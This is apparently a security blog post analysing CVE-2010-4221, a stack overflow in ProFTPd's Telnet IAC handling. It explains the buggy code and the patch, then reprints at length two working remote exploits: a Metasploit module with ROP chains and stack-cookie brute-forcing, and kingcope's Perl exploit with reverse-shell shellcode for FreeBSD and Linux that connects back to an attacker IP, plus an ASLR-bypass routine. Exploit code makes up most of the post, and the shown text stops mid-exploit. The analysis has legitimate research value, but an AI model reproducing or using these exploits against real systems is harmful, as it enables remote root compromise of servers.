xorl %eax, %eax

CVE-2010-4221: ProFTPd TELNET_IAC Remote Stack Overflow

with one comment

That was just unbelievable… Someone (of course he released this as anonymous) used this -at least 2 year old- vulnerability on one of the most popular open source FTP daemons to make some money. The vulnerability affects versions from 1.3.2rc3 up to, and including 1.3.3c. Here is the buggy code that makes it possible…

/* The default command buffer size SHOULD be large enough to handle the
 * maximum path length, plus 4 bytes for the FTP command, plus 1 for the
 * whitespace separating command from path, and 2 for the terminating CRLF.
 */
#define PR_DEFAULT_CMD_BUFSZ    (PR_TUNABLE_PATH_MAX + 7)
   ...
int pr_cmd_read(cmd_rec **res) {
  static long cmd_bufsz = -1;
  char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'};
  char *cp;
  size_t buflen;
   ...
  while (TRUE) {
    pr_signals_handle();

    memset(buf, '\0', sizeof(buf));

    if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm,
        session.c->outstrm) == NULL) {
   ...
  }

  return 0;
}

This function was taken from src/main.c and it’s used to read the command data received in the FTP/FTPS daemon. As you can see, it uses a statically allocated buffer of size ‘PR_DEFAULT_CMD_BUFSZ + 1’ to store the input stream using pr_netio_telnet_gets() function. For completeness, here is the definition of ‘PR_TUNABLE_PATH_MAX’ constant at include/options.h header file.

/* Maximum path length.  GNU HURD (and some others) do not define
 * MAXPATHLEN.  POSIX' PATH_MAX is mandated to be at least 256 
 * (according to some), so 1K, in the absense of MAXPATHLEN, should be
 * a reasonable default.
 */

#ifndef PR_TUNABLE_PATH_MAX
# ifdef MAXPATHLEN
#  define PR_TUNABLE_PATH_MAX           MAXPATHLEN
# else
#  define PR_TUNABLE_PATH_MAX           1024
# endif
#endif

Back to our bug now… Let’s have a look at the pr_netio_telnet_gets() which can be found at src/netio.c file.

char *pr_netio_telnet_gets(char *buf, size_t buflen,
    pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
  char *bp = buf;
  unsigned char cp;
  int toread, handle_iac = TRUE, saw_newline = FALSE;
  pr_buffer_t *pbuf = NULL;

  if (buflen == 0) {
    errno = EINVAL;
    return NULL;
  }
    ...
  buflen--;

  if (in_nstrm->strm_buf)
    pbuf = in_nstrm->strm_buf;
  else
    pbuf = netio_buffer_alloc(in_nstrm);

  while (buflen) {
    ...
    while (buflen && toread > 0 && *pbuf->current != '\n' && toread--) {
      cp = *pbuf->current++;
      pbuf->remaining++;

      if (handle_iac == TRUE) {
        switch (telnet_mode) {
          case TELNET_IAC:
            switch (cp) {
              case TELNET_WILL:
              case TELNET_WONT:
              case TELNET_DO:
              case TELNET_DONT:
              case TELNET_IP:
              case TELNET_DM:
    ...
              default:
                /* In this case, we know that the previous byte was TELNET_IAC,
                 * but the current byte is not a value we care about.  So
                 * write the TELNET_IAC into the output buffer, break out of
                 * of the switch, and let that handle the writing of the
                 * current byte into the output buffer.
                 */
                *bp++ = TELNET_IAC;
                buflen--;

                telnet_mode = 0;
                break;
            }
    ...
      *bp++ = cp;
      buflen--;
    }
    ...
  properly_terminated_prev_command = TRUE;
  *bp = '\0';
  return buf;
}

It’s quite clear that if everything is fine, it will keep iterating as long as ‘buflen’ hasn’t reached zero and on each successful iteration it copies the parsed character to the ‘bp’ pointer and decrements ‘buflen’. However, if we manage to send a ‘TELNET_IAC’ character when the ‘buflen’ is set to ‘1’, it will decrement it twice! Once inside the ‘default’ clause that copies ‘TELNET_IAC’ to ‘bp’ pointer making ‘0’ and another one at the end of the ‘while’ loop making it ‘-1’. This will make ‘buflen’ a huge positive number that will keep copying bytes as long as it crashes or reaches some character that breaks the loop.
To fix this vulnerability, the following code was added:

+      /* In the situation where the previous byte was an IAC, we wrote IAC
+       * into the output buffer, and decremented buflen (size of the output
+       * buffer remaining).  Thus we need to check here if buflen is zero,
+       * before trying to decrement buflen again (and possibly underflowing
+       * the buflen size_t data type).
+       */
+      if (buflen == 0) {
+        break;
+      }
+
       *bp++ = cp;
       buflen--;

It simply checks that ‘buflen’ isn’t already zero before attempting to decrement it.

Moving to the more interesting part now…
The first public exploit that was released for this vulnerability was by jduck as a metasploit module that you can find here. Let’s have a look at this one…

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Tcp

Nothing interesting here. Next you can read the exploit’s description:

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in versions of ProFTPD
				server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
				large number of Telnet IAC commands, an attacker can corrupt memory and
				execute arbitrary code.

				The Debian Squeeze version of the exploit uses a little ROP stub to indirectly
				transfer the flow of execution to a pool buffer (the cmd_rec "res" in
				"pr_cmd_read").

				The Ubuntu version uses a full-blow ROP to mmap RWX memory, copy a small stub
				to it, and execute the stub. The stub then copies the remainder of the payload
				in and executes it.

				NOTE: Most Linux distributions either do not ship a vulnerable version of
				ProFTPD, or they ship a version compiled with stack smashing protection.

				Although SSP significantly reduces the probability of a single attempt
				succeeding, it will not prevent exploitation. Since the daemon forks in a
				default configuration, the cookie value will remain the same despite
				some attemtps failing. By making repeated requests, an attacker can eventually
				guess the cookie value and exploit the vulnerability.

				The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness
				and could allow exploitation in semi-reasonable amount of time.
			},

and some general information…

			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 10988 $',
			'References'     =>
				[
					['CVE', '2010-3867'],
					['OSVDB', '68985'],
					['BID', '44562']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'PrependChrootBreak' => true
				},

then you can find the bad characters that are not allowed in the payload:

			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 4096,
					# NOTE: \xff are avoided here so we can control the number of them being sent.
					'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",
					'DisableNops'	=>  'True',
				},

and finally, we have the tagets’ information. Initially, just for debugging purposes…

			'Platform'       => [ 'linux', ],
			'Targets'        =>
			[
				#
				# Automatic targeting via fingerprinting
				#
				[ 'Automatic Targeting', { 'auto' => true }  ],

				#
				# This special one comes first since we dont want its index changing.
				#
				[	'Debug',
					{
						'IACCount' => 8192, # should cause crash writing off end of stack
						'Offset' => 0,
						'Ret' => 0x41414242,
						'Writable' => 0x43434545
					}
				],

and then for exploitation of ProFTPd 1.3.3a on Debian.

				#
				# specific targets
				#

				# NOTE: this minimal rop works most of the time, but it can fail
				# if the proftpd pool memory is in a different order for whatever reason...
				[ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
					{
						'IACCount' => 4096+16,
						'Offset' => 0x102c-4,
						# NOTE: All addresses are from the proftpd binary
						'Ret' => 0x805a547, # pop esi / pop ebp / ret
						'Writable' => 0x80e81a0, # .data
						'RopStack' =>
							[
								# Writable is here
								0xcccccccc, # unused
								0x805a544,  # mov eax,esi / pop ebx / pop esi / pop ebp / ret
								0xcccccccc, # becomes ebx
								0xcccccccc, # becomes esi
								0xcccccccc, # becomes ebp
								# quadruple deref the res pointer :)
								0x8068886,  # mov eax,[eax] / ret
								0x8068886,  # mov eax,[eax] / ret
								0x8068886,  # mov eax,[eax] / ret
								0x8068886,  # mov eax,[eax] / ret
								# skip the pool chunk header
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								# execute the data :)
								0x0805c26c, # jmp eax
							],
					}
				],

Here, jduck used a ROP approach to exploit this bug so the above is the definition of the offset, the address of the return address etc. from ProFTPd’s binary for the specified system.
Similarly, another version of ROP code is provided for binaries compiled with symbols which is the following:

				# For the version compiled with symbols :)
				[ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
					{
						'IACCount' => 4096+16,
						'Offset' => 0x1028-4,
						# NOTE: All addresses are from the proftpd binary
						'Writable' => 0x80ec570, # .data
						'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
						'RopStack' =>
							[
								# Writable is here
								#0x0808162a, # jmp esp (works w/esp fixup)
								0xcccccccc, # unused becomes ebp
								0x80d78c2,  # mov eax,esi / pop esi / pop ebp / ret
								0xcccccccc, # unused becomes esi
								0xcccccccc, # unused becomes ebp
								# quadruple deref the res pointer :)
								0x806a915,  # mov eax,[eax] / pop ebp / ret
								0xcccccccc, # unused becomes ebp
								0x806a915,  # mov eax,[eax] / pop ebp / ret
								0xcccccccc, # unused becomes ebp
								0x806a915,  # mov eax,[eax] / pop ebp / ret
								0xcccccccc, # unused becomes ebp
								0x806a915,  # mov eax,[eax] / pop ebp / ret
								0xcccccccc, # unused becomes ebp
								# skip the pool chunk header
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								0x805d6a9,  # inc eax / adc cl, cl / ret
								# execute the data :)
								0x08058de6, # jmp eax
							],
					}
				],

Next, we have another target which is the 1.3.2c release on Ubuntu 10.04…

				[ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',
					{
						'IACCount' => 1018,
						'Offset' => 0x420,
						'CookieOffset' => -0x20,
						'Writable' => 0x80db3a0, # becomes esi (beginning of .data)
						'Ret' => 0x805389b,  # pop esi / pop ebp / ret
						'RopStack' =>
							[
								0xcccccccc, # becomes ebp

								0x8080f04,  # pop eax / ret
								0x80db330,  # becomes eax (GOT of mmap64)

								0x806a716,  # mov eax, [eax] / ret
								0x805dd5c,  # jmp eax
								0x80607b2,  # add esp, 0x24 / pop ebx / pop ebp / ret
								# mmap args
								0, 0x20000, 0x7, 0x22, 0xffffffff, 0,
								0, # unused
								0xcccccccc, # unused
								0xcccccccc, # unused
								0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx
								0xcccccccc, # becomes ebp

								# note, ebx gets fixed above :)
								# 0xfe in 'ah' doesn't matter since we have more than enough space.
								# now, load an instruction to store to eax
								0x808b542,  # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret
								# becomes edx - mov [eax+ebp*4]; ebx / ret
								"\x89\x1c\xa8\xc3".unpack('V').first,

								# store it :)
								0x805c2d0,  # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret
								0xcccccccc, # unused
								0xcccccccc, # unused
								0xcccccccc, # unused
								0xcccccccc, # unused
								0xcccccccc, # becomes ebx
								0xcccccccc, # becomes esi
								0xcccccccc, # becomes ebp

								# Copy the following stub:
								#"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]
								#"\x89\xc7"   # mov edi, eax
								#"\x8d\x78\x14"  # lea edi, [eax+0x14]
								#"\x6a\x7f"   # push 0x7f
								#"\x59"	    # pop ecx
								#"\xf2\xa5"   # rep movsd

								0x80607b5,  # pop ebx / pop ebp / ret
								0xfb2124b4, # becomes ebx
								1, # becomes ebp
								0x805dd5c,  # jmp eax

								0x80607b5,  # pop ebx / pop ebp / ret
								0x9090ffff, # becomes ebx
								2, # becomes ebp
								0x805dd5c,  # jmp eax

								0x80607b5,  # pop ebx / pop ebp / ret
								0x6a14788d, # becomes ebx
								3, # becomes ebp
								0x805dd5c,  # jmp eax

								0x80607b5,  # pop ebx / pop ebp / ret
								0xa5f2597f, # becomes ebx
								4, # becomes ebp
								0x805dd5c,  # jmp eax

								0x80607b5,  # pop ebx / pop ebp / ret
								0x8d909090, # becomes ebx
								0, # becomes ebp
								0x805dd5c,  # jmp eax

								# hopefully we dont get here
								0xcccccccc,
							],
					}
				]

			],

And of course, you’re free to add your own next :P

			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 1 2010'))

		register_options(
			[
				Opt::RPORT(21),
			], self.class )
	end

Now, that the essential components have been set. We have the first method that checks if the server is vulnerable.

	def check
		# NOTE: We don't care if the login failed here...
		ret = connect
		banner = sock.get_once

		# We just want the banner to check against our targets..
		print_status("FTP Banner: #{banner.strip}")

		status = CheckCode::Safe
		if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
			ver = $1
			maj,min,rel = ver.split('.')
			relv = rel.slice!(0,1)
			case relv
			when '2'
				if rel.length > 0
					if rel[0,2] == 'rc'
						if rel[2,rel.length].to_i >= 3
							status = CheckCode::Vulnerable
						end
					else
						status = CheckCode::Vulnerable
					end
				end
			when '3'
				# 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
				status = CheckCode::Vulnerable
				if rel.length > 0
					if rel[0,2] != 'rc' and rel[0,1] > 'b'
						status = CheckCode::Safe
					end
				end
			end
		end

		disconnect
		return status
	end

This is basically a regular expression check on the version number returned by the FTP daemon. Finally, you can find the exploitation routine that I’ll explain step by step…

	def exploit
		connect
		banner = sock.get_once

		# Use a copy of the target
		mytarget = target

It connects and obtains the FTP’s banner. It sets ‘mytarget’ to the selected one and moves on…

		if (target['auto'])
			mytarget = nil

			print_status("Automatically detecting the target...")
			if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
				print_status("FTP Banner: #{banner.strip}")
				version = m[1]
			else
				raise RuntimeError, "No matching target"
			end

If the target is set to auto, it will check the version from the retrieved banner to check and then

			regexp = Regexp.escape(version)
			self.targets.each do |t|
				if (t.name =~ /#{regexp}/) then
					mytarget = t
					break
				end
			end

			if (not mytarget)
				raise RuntimeError, "No matching target"
			end

			print_status("Selected Target: #{mytarget.name}")

initialize ‘mytarget’ with each one of the detected ones. If it there aren’t any it will raise a run-time error that there were no matching targets. However, if it was not set to auto, then…

		else
			print_status("Trying target #{mytarget.name}...")
			if banner
				print_status("FTP Banner: #{banner.strip}")
			end
		end

It will print the banner and continue with the execution of the exploit code.

		#puts "attach and press any key"; bleh = $stdin.gets

		buf = ''
		buf << 'SITE '

		#buf << "\xcc"
		if mytarget['CookieOffset']
			buf << "\x8d\xa0\xfc\xdf\xff\xff"  # lea esp, [eax-0x2004]
		end
		buf << payload.encoded

It starts off building the malicious buffer that will be passed to the FTP server using FTP ‘SITE’ command and in case of a cookie offset for the selected target, the equivalent code. Then, it will insert the encoded payload and continue like this:

		# The number of characters left must be odd at this point.
		buf << rand_text(1) if (buf.length % 2) == 0
		buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)

		buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)

		addrs = [
			mytarget['Ret'],
			mytarget['Writable']
		].pack('V*')

It makes sure that the number of characters is odd by inserting random printable Bytes and ‘addrs’ is initialized to be a packed version of the target’s return and writable addresses. The next code affects targets that use ROP technique…

		if mytarget['RopStack']
			addrs << mytarget['RopStack'].map { |e|
				if e == 0xcccccccc
					rand_text(4).unpack('V').first
				else
					e
				end
			}.pack('V*')
		end

Which updates ‘addrs’ by appending the ROP code and next

		# Make sure we didn't introduce instability
		addr_badchars = "\x09\x0a\x0b\x0c\x20"
		if idx = Rex::Text.badchar_index(addrs, addr_badchars)
			raise RuntimeError, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx])
		end

		buf << addrs
		buf << "\r\n"

It will check that there are no bad characters in the constructed ‘addrs’ buffer and finally, it’ll append ‘addrs’ to the buffer that contains the complete payload and terminate it with a common ‘\r\n’ sequence. The following part is Ubuntu specific..

		#
		# In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it
		# doesn't change while proftpd forks children. Therefore, we can try forever
		# and eventually guess it correctly.
		#
		# NOTE: if the cookie contains one of our bad characters, we're SOL.
		#
		if mytarget['CookieOffset']
			print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")

			disconnect

You can read at jduck’s comments to understand pretty well what’s going on here.

			max = 0xffffff00
			off = mytarget['Offset'] + mytarget['CookieOffset']

			cookie = last_cookie = 0
			#cookie = 0x17ccd600

			start = Time.now
			last = start - 10

So, to do this. It sets a maximum value and a new offset that it’s between target’s offset and cookie’s offset. It will start a timer and enter the following ‘while’ loop:

			while not session_created?
				now = Time.now
				if (now - last) >= 10
					perc = (cookie * 100) / max
					qps = ((cookie - last_cookie) >> 8) / 10.0
					print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])
					last = now
					last_cookie = cookie
				end

This is the printing code that will print the timing and the attempts’ information and next

				sd = connect(false)
				sd.get_once
				buf[off, 4] = [cookie].pack('V')
				sd.put(buf)
				disconnect(sd)

				cookie += 0x100
				break if cookie > max
			end

is the brute-forcing code that uses each value of ‘cookie’ and just sends it to the vulnerable server and increments cookie’s value. If the latter exceeds the maximum value it will break the loop. Finally,

			if not session_created?
				raise RuntimeError, "Unable to guess the cookie value, sorry :-/"
			end
		else
			sock.put(buf)
			disconnect
		end

		handler
	end

end

If no session was created, it will exit with an error that it was unable to guess the correct cookie value. At last, if the target didn’t have any cookie offset set, it will simply send the malicious buffer as it is. In any case, the final step is to call the handler routine that will handle the session.

A few days after the release of this exploit code, kingcope relesed another one on the Full-Disclosure mailing list, the ‘proremote.pl‘. In his Perl exploit that works on both Linux and FreeBSD it starts off by defining some targets’ information in a common way…

# proftpd IAC remote r00t exploit by kingcope
# version 1.7 unlocks bsd & lnx!!
# Nov2010

use IO::Socket;

$numtargets = 13;

@targets =
( 
 # Plain Stack Smashing

 #Confirmed to work
 ["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC
 	"FreeBSD",	# OPERATING SYSTEM
 	0,			# EXPLOIT STYLE
 	0xbfbfe000,	# OFFSET START
 	0xbfbfff00,	# OFFSET END
 	1029],		# ALIGN
 
 #Confirmed	to work
 ["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)",
 	"FreeBSD",
 	0,
 	0xbfbfe000,
 	0xbfbfff00,
 	1021],
 	
 # Return into Libc
 
 #Confirmed to work
 ["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,			# EXPLOIT STYLE
 	0x0804CCD4,	# write(2) offset
 	8189,		# ALIGN
 	0], 		# PADDING

 # Confirmed to work
 ["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804D23C,
 	4101,
 	0],
 
 #Confirmed to work
 ["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,			
 	0x0804C9A4,	
 	8189,
 	0], 		
 #Confirmed to work	
 ["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)",
 	"Linux",
 	1,			
 	0x080532D8,	
 	4101,
 	12],
 	
 ["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804C9C4,
 	8189,
 	0],

 ["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CAA8,
 	8189,
 	0],
 	
 ["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CBBC,
 	8189,
 	0],

 ["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CCBC,
 	8189,
 	0], 

 #Confirmed to work
 ["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CCE0,
 	8189,
 	0], 	

 ["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CA2C,
 	8189,
 	0], 

 #Confirmed to work
 ["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804C290,
 	8189,
 	0],

 	# feel free to add more targets.
);

Next, you can find some platform specific shellcodes, which are:

#freebsd reverse shell port 45295
#setup a netcat on this port ^^
$bsdcbsc =
		# setreuid
        "\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".
		# connect back :>
		"\x31\xc0\x31\xdb\x53\xb3\x06\x53".
        "\xb3\x01\x53\xb3\x02\x53\x54\xb0".
        "\x61\xcd\x80\x31\xd2\x52\x52\x68".
        "\x41\x41\x41\x41\x66\x68\xb0\xef".
        "\xb7\x02\x66\x53\x89\xe1\xb2\x10".
        "\x52\x51\x50\x52\x89\xc2\x31\xc0".
        "\xb0\x62\xcd\x80\x31\xdb\x39\xc3".
        "\x74\x06\x31\xc0\xb0\x01\xcd\x80".
        "\x31\xc0\x50\x52\x50\xb0\x5a\xcd".
        "\x80\x31\xc0\x31\xdb\x43\x53\x52".
        "\x50\xb0\x5a\xcd\x80\x31\xc0\x43".
        "\x53\x52\x50\xb0\x5a\xcd\x80\x31".
        "\xc0\x50\x68\x2f\x2f\x73\x68\x68".
        "\x2f\x62\x69\x6e\x89\xe3\x50\x54".
        "\x53\x50\xb0\x3b\xcd\x80\x31\xc0".
        "\xb0\x01\xcd\x80";

For FreeBSD and:

#linux reverse shell port 45295 by bighawk
#setup a netcat on this port ^^
$lnxcbsc =
# setreuid
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90".
# connect back :>
"\x6a\x66".
"\x58".
"\x6a\x01".
"\x5b".    
"\x31\xc9".
"\x51".
"\x6a\x01".
"\x6a\x02".
"\x89\xe1".
"\xcd\x80".
"\x68\x7f\x7f\x7f\x7f". # IP
"\x66\x68\xb0\xef". # PORT
"\x66\x6a\x02".
"\x89\xe1".
"\x6a\x10".    
"\x51".    
"\x50".        
"\x89\xe1".
"\x89\xc6".    
"\x6a\x03".    
"\x5b".    
"\x6a\x66".
"\x58".    
"\xcd\x80".
"\x87\xf3".    
"\x6a\x02".    
"\x59".    
"\xb0\x3f".
"\xcd\x80".    
"\x49".    
"\x79\xf9".
"\xb0\x0b".    
"\x31\xd2".    
"\x52".    
"\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e".
"\x89\xe3".
"\x52".            
"\x53".                
"\x89\xe1".
"\xcd\x80";

For Linux.
We’ll now have a look at the usage routine to understand the execution of this code.

sub usage() {
	print "written by kingcope\n";
 	print "usage:\n".
 		  "proremote.pl <target ip/host> <your ip> <target type>\n\n";
    for ($i=0; $i<$numtargets; $i++) {
  		print "\t[".$i."]\t". $targets[$i][0]. "\r\n";
    }

	exit;
}

As you can see, it lists the available to targets and requires the target’s IP or hostname as well as target’s type. The main code is the following:

if ($#ARGV ne 2) { usage; }

$target = $ARGV[0];
$cbip = $ARGV[1];
$ttype = $ARGV[2];

$platform = $targets[$ttype][1];
$style = $targets[$ttype][2];

($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));

if ($platform eq "FreeBSD") {
	$shellcode = $bsdcbsc;
	substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4);
} else { 
if ($platform eq "Linux") {
	$shellcode = $lnxcbsc;
	substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4);
} else {
	print "typo ?\n";
	exit;
}}

if ($style eq 0) {
	exploit1;
} else {
	exploit2;	
}

print "done.\n";
exit;

The type argument is used to determine which exploitation approach will be used. This could be either exploit1() or exploit2() routine. Of course, platform is used to initialize the appropriate Linux or FreeBSD payload. The exploit1() function is the simplest one.

sub exploit1 {
    for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {
		printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter);
		$ret = pack("V", $counter);
		$align = $targets[$ttype][5];

		my $sock = IO::Socket::INET->new(PeerAddr => $target,
      	                          		 PeerPort => 21,
           		                  		 Proto    => 'tcp');

		$stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10;

		$v = <$sock>;

		print $sock "\x00" x $align . "\xff" . $stack . "\n";

		close($sock);		    
	}    
}

As you can see, this is a ‘for’ loop that will iterate from the target address up to the defined offset with a pace of 250. Inside that loop, it will connect to the vulnerable server and attempt to exploit the vulnerability passing each of the calculated target address to it as the possible valid return address. It’s nothing more than a common brute-force technique here.
The second exploitation approach is more complex. First of all let’s read kingcope’s comments:

# Linux technique to retrieve a rootshell (C) kingcope 2010
#
# uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA)
# only the write(2) plt entry offset is needed for the exploit to work (and of course the
# align value)
# once the correct write value is given to the exploit it fetches the memory space of proftpd.
# with this information the exploit can find function entries and byte values
# relative to the write(2) address.
# once the memory is read out the exploit does the following to circumvent linux adress space
# randomization:
# 
# 1.) calculate mmap64() plt entry
# 2.) seek for assembly instructions in the proftpd memory space relative to write(2)
#     such as pop pop ret instructions
# 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute
# 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine
# 4.) copy known assembly instructions (which have been found before using the memory read)
#     to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100
#     and make use of the memcpy found before
# 5.) actually jump to the shellcode finder
# 6.) once the shellcode has been copied to 0x10000100 jump to it
# 7.) shellcode gets executed and we have our desired root shell.

And now, this is how this code begins…

sub exploit2 {
	printf("[$target] %s :pP\n", $targets[$ttype][0]);
	$align = $targets[$ttype][4];
	$write_offset = $targets[$ttype][3];
	$padding = $targets[$ttype][5];

	$|=1;
	print "align = $align\n";
	print "Seeking for write(2)..\n";

Nothing special here. Just a few initializations, next we have…

	#known good write(2) values
	#0x0804C290
	#0x0804A85C
	#0x0804A234
	#0x08052830
	#080532D8 proftpd-basic_1.3.3a-4_i386
	#08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu)
	#0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !!

	printf "Using write offset %08x.\n", $write_offset;
	$k = $write_offset;
	$sock = IO::Socket::INET->new(PeerAddr => $target,
      	                          PeerPort => 21,
           		                  Proto    => 'tcp');

	$sock->sockopt(SO_LINGER, pack("ii", 1, 0));
	#$x = <stdin>;

It’ll connect to the target server and use the ‘SO_LINGER’ setting to set a delay value for the closing of the socket. Next, it goes like this:

	$stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding . 
			 pack("V", $k).  # write
			 "\xcc\xcc\xcc\xcc".
			 "\x01\x00\x00\x00".	# fd for write
			 pack("V", $k). # buffer for write
			 "\xff\xff\x00\x00";	# length for write

	$v = <$sock>;

	print $sock "\x00" x $align . "\xff" . $stack . "\n";

	vec ($rfd, fileno($sock), 1) = 1;

	$timeout = 2;

It initializes a new buffer for the write(2) system call and a payload that is send to the server. Next, it uses vec() to obtain the file descriptor of the socket.

    if (select ($rfd, undef, undef, $timeout) >= 0
             && vec($rfd, fileno($sock), 1))
    {
       if (read($sock, $buff, 0xffff) == 0xffff) {
		printf "\nSUCCESS. write(2) is at %08x\n", $k;	
		close($sock);
		goto lbl1;
		}
    }

	close($sock);
	printf "wrong write(2) offset.\n";
	exit;

This is classic select(2) code that will read the socket’s input stream if the code was successfully executed the payload and server send some reply of 0xFFFF Bytes. If this is the case, it will jump to the ‘lbl1’ label. Otherwise, it will close the socket and assume that it was an invalid write(2) offset. Moving to the ‘lbl1’ label we can find the following…

lbl1:
#	Once we're here chances are good that we get the root shell

	print "Reading memory from server...\n";
	my $sock = IO::Socket::INET->new(PeerAddr => $target,
      	                          PeerPort => 21,
           		                  Proto    => 'tcp');	

	$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . 
			 pack("V", $k).  # write
			 "\xcc\xcc\xcc\xcc".
			 "\x01\x00\x00\x00".	# fd for write
			 pack("V", $k). # buffer for write
			 "\xff\xff\x0f\x00";	# length for write

It’s a similar code that will execute a write(2) call in server side to read ProFTPd’s memory.

	$v = <$sock>;

	print $sock "\x00" x $align . "\xff" . $stack . "\n"; 

	read($sock, $buff, 0xfffff);

	if (($v = index $buff, "\x5E\x5F\x5D") >= 0) {
		$pop3ret = $k + $v;
		printf "pop pop pop ret located at %08x\n", $pop3ret;
	} else {
		print "Could not find pop pop pop ret\n";
		exit;
	}

It will attempt to find some useful sequences of Bytes like the above ‘if’ clause that checks for

pop esi
pop edi
pop ebp

sequences, or the following

	if (($v = index $buff, "\x83\xC4\x20\x5B\x5E\x5D\xC3") >= 0) {
		$largepopret = $k + $v;
		printf "large pop ret located at %08x\n", $largepopret;
	} else {
		print "Could not find pop pop pop ret\n";
		exit;
	}

for

add esp,byte +0x20
pop ebx
pop esi
pop ebp
